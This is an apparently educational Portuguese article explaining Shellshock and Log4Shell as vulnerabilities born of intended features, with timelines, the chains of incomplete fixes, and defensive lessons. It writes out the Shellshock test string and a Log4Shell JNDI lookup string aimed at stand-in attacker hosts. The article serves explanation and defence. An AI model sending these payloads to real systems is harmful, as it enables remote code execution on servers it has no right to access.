# Shellshock e Log4Shell: quando a vulnerabilidade é uma funcionalidade

> Nenhum dos dois foi erro de memória. Nos dois casos um componente amplamente usado fez exatamente o que sua documentação dizia, com uma cadeia de caracteres vinda de um estranho. Um ficou no bash por uns vinte e dois anos sem ser descoberto; o outro transformou o registro em log - a única coisa que toda aplicação faz com entrada não confiável - em execução remota de código. Esta é a classe de falha que testar em busca de travamentos nunca vai achar.

Source: https://ronutz.com/pt-BR/learn/the-interpreter-problem  
Updated: 2026-09-08

---

## O formato

A maior parte das vulnerabilidades deste catálogo são erros: um estouro de buffer, uma verificação que falta, uma máquina de estados que aceita uma mensagem duas vezes. Este artigo é sobre uma classe diferente e mais desconfortável, em que nada está quebrado. Um componente recebe uma cadeia de caracteres, a interpreta como foi projetado para interpretar, e a interpretação é execução de código - porque a cadeia veio de alguém que o projetista nunca imaginou.

Dois deles são os exemplos canônicos, com sete anos de diferença, e valem ser lidos juntos porque o formato é idêntico.

## Shellshock, 2014

O bash tem um recurso para passar funções de shell a processos filhos: ele as codifica em variáveis de ambiente, e um bash filho lê a variável e define a função. Razoável, documentado, usado.

O defeito era que o bash não parava no fim da definição da função. Qualquer coisa escrita depois também era interpretada e executada. Escrita por extenso, a vulnerabilidade inteira cabe numa linha:

```bash
env='() { :;}; echo VULNERAVEL' bash -c ':'
```

A primeira parte é uma função vazia e válida. O ponto e vírgula a encerra. Tudo depois roda.

Por si só isso seria uma curiosidade, porque definir uma variável de ambiente em geral exige já estar na máquina. O que fez daquilo uma catástrofe é a outra ponta. **Servidores web que rodam scripts CGI (Common Gateway Interface) passam os cabeçalhos da requisição HTTP ao programa como variáveis de ambiente.** O `User-Agent` que um navegador manda vira variável de ambiente, e se o programa for um script de shell, o bash o lê. Um atacante remoto e não autenticado podia, portanto, rodar comandos num servidor web escolhendo o que pôr num cabeçalho. O mesmo mecanismo alcançava o recurso de comando forçado do OpenSSH, clientes DHCP e servidores de correio.

Stéphane Chazelas o reportou ao mantenedor do bash em 12 de setembro de 2014, e foi publicado no dia 24 como CVE-2014-6271, quando as correções estavam prontas. A análise do código sugeriu que o comportamento estava no bash desde por volta de 1992. **Vinte e dois anos**, num dos programas mais implantados que existem, em código que milhares de pessoas tinham lido.

Cinco outros identificadores CVE vieram em dias, porque a primeira correção era incompleta.

## Log4Shell, 2021

O Log4j é a biblioteca de registro que a maioria das aplicações Java usa. Em algum ponto da sua história ela ganhou um recurso de substituição: certos padrões dentro de uma cadeia registrada são resolvidos e substituídos. Uma das resoluções suportadas era o JNDI (Java Naming and Directory Interface) - que consegue buscar um objeto num serviço de diretório remoto - um servidor LDAP (Lightweight Directory Access Protocol), tipicamente - e, tendo buscado, carregá-lo.

Então um atacante manda uma cadeia:

```text
${jndi:ldap://atacante.exemplo/a}
```

e só precisa que uma aplicação vulnerável a **registre**. Não processe, não confie, não valide - registre. A biblioteca vê o padrão, contata o servidor do atacante, baixa uma classe Java e a executa.

A razão de essa ter sido a vulnerabilidade de pior classificação em anos é o que as aplicações registram. Um login recusado. Uma requisição malformada. Um cabeçalho `User-Agent`. Um nome de usuário que falhou na validação. A única coisa que toda aplicação faz com entrada em que não confia é escrevê-la num log, na suposição de que registrar algo é inerte. Não é; e muito software registra entrada não confiável justamente porque ela pareceu suspeita.

Chen Zhaojun, da equipe de segurança da nuvem da Alibaba, o reportou à Apache Software Foundation em 24 de novembro de 2021; foi corrigido e tornado público em 9 de dezembro, recebeu a nota máxima de 10,0, e estava sendo explorado imediatamente. A redação da própria Fundação é precisa: nas versões até a 2.14.1, os recursos JNDI usados em configuração, mensagens de log e parâmetros não protegiam contra endpoints controlados pelo atacante, e quem pudesse controlar mensagens de log podia executar código carregado de um servidor remoto.

E então a cadeia de correções, que é uma lição por si só. A versão 2.15.0 só corrigiu parcialmente. A 2.16.0 corrigiu o que a 2.15.0 deixou passar e desligou a resolução por padrão, mas introduziu uma falha de negação de serviço. Só na 2.17.1 aquilo assentou. **Quem corrigiu uma vez e seguiu adiante continuava exposto** - o mesmo padrão que os [avisos subsequentes da Ivanti](https://ronutz.com/pt-BR/learn/the-ssl-vpn-is-being-dismantled) mostram, em que uma segunda e uma terceira falha indicaram que o fabricante ainda não entendia a própria superfície de ataque.

## Por que esta classe é diferente

**Fuzzing não acha.** O modo padrão de caçar erros de memória é jogar entrada malformada num programa e observar se ele trava. Nenhum dos dois trava. O bash interpreta a variável com sucesso. O Log4j resolve a substituição com sucesso. O software se comporta corretamente, e o comportamento correto é o exploit. O [artigo sobre segurança de memória](https://ronutz.com/pt-BR/learn/memory-safety) descreve a classe de erro em que as ferramentas automáticas são boas; esta é a classe a que elas são cegas.

**Revisão de código também não acha de forma confiável**, porque cada metade é defensável isoladamente. Exportar funções pelo ambiente é um recurso. Substituir valores em mensagens de log é um recurso. Passar cabeçalhos HTTP a programas CGI como variáveis de ambiente é uma especificação. A vulnerabilidade existe só na junção, e a junção em geral atravessa uma fronteira que ninguém possui - entre o shell e o servidor web, entre a aplicação e a biblioteca com que ela registra.

**E é um problema de cadeia de suprimento por construção.** Quase ninguém que estava exposto ao Log4Shell tinha ouvido falar do recurso de resolução, porque quase ninguém escolheu o Log4j diretamente; ele chegou como dependência de uma dependência. A pergunta "nós usamos Log4j" se revelou, para a maioria das organizações, genuinamente difícil de responder em dezembro de 2021, e essa dificuldade é a razão de as listas de materiais de software deixarem de ser exercício de conformidade e virarem exercício operacional.

## O tema recorrente

Este catálogo chega sempre ao mesmo lugar por caminhos diferentes. O [Melissa](https://ronutz.com/pt-BR/learn/the-worm-era) não explorou vulnerabilidade nenhuma: macros do Word rodando automaticamente e o Outlook ser roteirizável eram funcionalidades. O [Mirai](https://ronutz.com/pt-BR/learn/mirai-and-the-default-password) não explorou vulnerabilidade nenhuma: fez login com credenciais de fábrica. Shellshock e Log4Shell são a mesma observação aplicada a bibliotecas em vez de produtos.

A conclusão desconfortável é que **as falhas mais danosas frequentemente não são erros**, e portanto não são alcançáveis pelas atividades que acham erros. São consequência de uma capacidade encontrando uma entrada para a qual nunca foi dimensionada, e a defesa não é código melhor, e sim capacidade mais estreita: recursos desligados por padrão, interpretação desabilitada a menos que seja pedida, e uma resposta clara para a pergunta de o que, exatamente, tem permissão de interpretar uma cadeia vinda de fora.

## O que um profissional deve tirar disso

**Saiba o que interpreta.** Para qualquer componente que trate entrada externa, pergunte o que ele faz com o *conteúdo*, e não com o tamanho. Um registrador de logs, um motor de modelos, um nome de arquivo, um interpretador de configuração e uma consulta de busca são todos interpretadores, e cada um é candidato a essa falha.

**Trate o log como superfície de ataque.** É o caminho de dados menos suspeitado da maioria dos sistemas e toca os dados menos confiáveis. Qualquer coisa que expanda, resolva ou renderize um valor registrado é risco, e o log estruturado, que armazena valores em vez de interpolá-los, remove a maior parte do perigo.

**Suponha que a primeira correção não é a última.** Os dois casos precisaram de várias. Quando um aviso é dessa gravidade, o plano correto inclui reconferir a versão uma semana depois.

**E mantenha a pergunta sobre dependências respondível de antemão.** As organizações que lidaram bem com dezembro de 2021 não eram as que tinham produtos de segurança melhores; eram as que conseguiam produzir, numa tarde, a lista de toda aplicação que continha uma dada biblioteca. Isso é um problema de inventário, e é solúvel antes da emergência, não durante.

## Fontes

- [Wikipedia, Shellshock: uma família de falhas de segurança no GNU Bash, a primeira divulgada em 24 de setembro de 2014; Stéphane Chazelas informou o mantenedor do Bash, Chet Ramey, em 12 de setembro, sobre o erro original, que ele chamou de Bashdoor, e trabalhou com especialistas numa correção; recebeu o CVE-2014-6271, seguido por CVE-2014-6277, 6278, 7169, 7186 e 7187; afetava o Bash 1.0.3 a 4.3](https://en.wikipedia.org/wiki/Shellshock_(software_bug))
- [Sobre o mecanismo e a cronologia: a vulnerabilidade está no Bash executar comandos ao receber valores não padrão de variáveis de ambiente; ficou sob embargo até as 14h UTC de 24 de setembro para dar tempo aos mantenedores de distribuições; a análise do código indica que foi introduzida por volta da versão 1.13, em 1992 ou antes, e permaneceu não detectada desde então](https://github.com/demining/shellshock-attack)
- [Uma demonstração do defeito de interpretação: o Bash exporta funções como variáveis de ambiente e continua interpretando depois da definição da função, então um valor como `() { :;}; echo PWNED` executa o segundo comando; servidores web que usam CGI passam cabeçalhos HTTP ao Bash como variáveis de ambiente, o que faz de um cabeçalho `User-Agent` um vetor de ataque](https://github.com/mtaha-sec/bash-apocalypse)
- [CVE-2014-6271, conforme descrito pela CISA: o GNU Bash até a 4.3 processa cadeias finais depois de definições de função nos valores de variáveis de ambiente, permitindo a atacantes remotos executar código, demonstrado por vetores envolvendo o recurso ForceCommand do OpenSSH, os módulos mod_cgi e mod_cgid do Apache, e scripts executados por clientes DHCP](https://www.cvedetails.com/cve/CVE-2014-6271/)
- [Aviso da Red Hat: certos serviços e aplicações permitem que atacantes remotos não autenticados forneçam variáveis de ambiente, permitindo explorar a falha; a Red Hat percebeu que a correção do CVE-2014-6271 era incompleta, e malware explorando a vulnerabilidade circulou em dias](https://access.redhat.com/security/vulnerabilities/shellshock)
- [Wikipedia, Log4Shell: CVE-2021-44228, descoberto em 24 de novembro de 2021 por Chen Zhaojun, da equipe de segurança da nuvem da Alibaba, corrigido em 9 de dezembro de 2021, afetando aplicações que registram entrada de usuário usando o Log4j 2](https://en.wikipedia.org/wiki/Log4Shell)
- [Help Net Security, dezembro de 2021: reportado à Apache Software Foundation por Chen Zhaojun e corrigido na 2.15.0; CVSS 10,0; nas versões 2.14.1 e anteriores, os recursos JNDI usados em configuração, mensagens de log e parâmetros não protegem contra endpoints LDAP e outros endpoints JNDI controlados pelo atacante, e quem puder controlar mensagens de log ou seus parâmetros pode executar código arbitrário carregado de servidores LDAP quando a substituição por resolução de mensagem está habilitada](https://www.helpnetsecurity.com/2021/12/10/cve-2021-44228/)
- [Huntress: os atacantes criavam uma cadeia como `${jndi:ldap://attacker.com/a}` e a faziam ser registrada por uma aplicação vulnerável, e então o Log4j interpretava a resolução, conectava ao servidor LDAP do atacante e baixava e executava uma classe Java; como as aplicações registram todo tipo de dado fornecido pelo usuário, como cabeçalhos User-Agent e envios de formulário, o exploit era assustadoramente simples; corrigir para a 2.15.0 era insuficiente, a 2.16.0 corrigiu o CVE-2021-45046 e desligou o JNDI por padrão mas introduziu o CVE-2021-45105, e a 2.17.1 era necessária](https://www.huntress.com/threat-library/vulnerabilities/cve-2021-44228)
